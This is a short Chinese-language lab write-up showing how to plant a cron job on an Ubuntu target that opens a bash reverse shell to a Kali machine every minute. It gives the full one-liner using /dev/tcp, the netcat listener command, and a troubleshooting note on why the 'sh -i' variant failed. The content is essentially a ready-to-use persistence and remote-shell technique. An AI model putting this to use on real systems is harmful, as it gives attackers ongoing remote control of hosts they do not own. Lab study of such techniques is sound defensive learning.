目錄
實驗環境
實驗步驟
目標主機構造任務計劃
構造語句
?語句解釋
kali開啟監聽
監聽成功
問題
原因
實驗環境
攻擊者
操作系統:kali
IP:192.168.244.141
目標主機
操作系統:ubuntu
IP:192.168.244.151
實驗步驟
目標主機構造任務計劃
構造語句
* * * * * /bin/bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'
?語句解釋
* * * * *
:這是 Cron 的時間表達式,表示這個命令將每分鐘執行一次。具體含義是分別對應分鐘、小時、天、月、星期幾,這里都是 *
,表示每個可能的值,即每分鐘執行一次。
/bin/bash -c 'sh -i >& /dev/tcp/{ip}/{port} 0>&1'
:這是要在 Cron 任務中執行的命令。
/bin/bash -c
:這個部分指定要執行的命令是用 Bash 解釋執行。
'sh -i >& /dev/tcp/{ip}/{port} 0>&1'
:這是 Bash 命令本身,由單引號包圍以確保整個命令被視為一個參數傳遞給 -c
選項。
0>&1
:將標準輸入重定向到標準輸出,確保輸入輸出的正常運行
>& /dev/tcp/{ip}/{port}
:
/dev/tcp/{ip}/{port}
是 Bash 的特殊構造,用于在 Bash 中通過 TCP 連接實現網絡通信。/dev/tcp
是一個虛擬的目錄,Bash 會將其解釋為通過 TCP 連接進行數據傳輸。{ip}
和 {port}
分別應該替換為實際的目標 IP 地址和端口號。
>&
表示將標準輸出和標準錯誤重定向到指定位置。
sh -i
:啟動一個交互式的 Shell,這里使用 sh
是因為在某些系統上,sh
可能是 bash
的符號鏈接。
kali開啟監聽
nc
:是 netcat
命令的縮寫,是一個網絡工具,可以用來讀取和寫入網絡連接中的數據。
-l
:表示 netcat
進入監聽模式,即等待來自客戶端的連接請求。
-p
:后面接端口號,表示要監聽的端口號。例如,nc -lp 1234
就是在本地監聽 1234 端口
監聽成功
問題
當反彈語句為中啟動交互shell時是sh -i這個如下列代碼,監聽會失敗的
* * * * * /bin/bash -c 'sh -i >& /dev/tcp/{ip}/{port} 0>&1'
原因
在某些操作系統中,sh
可能被符號鏈接到bash
,這意味著雖然你使用的是sh
命令,實際上執行的是bash
解釋器。sh
通常是指shell的默認符號鏈接,它可以指向系統中安裝的任何shell(如bash
、dash
等)。所以再ubuntu使用sh反彈shell時沒有成功,但是使用bash反彈shell成功了。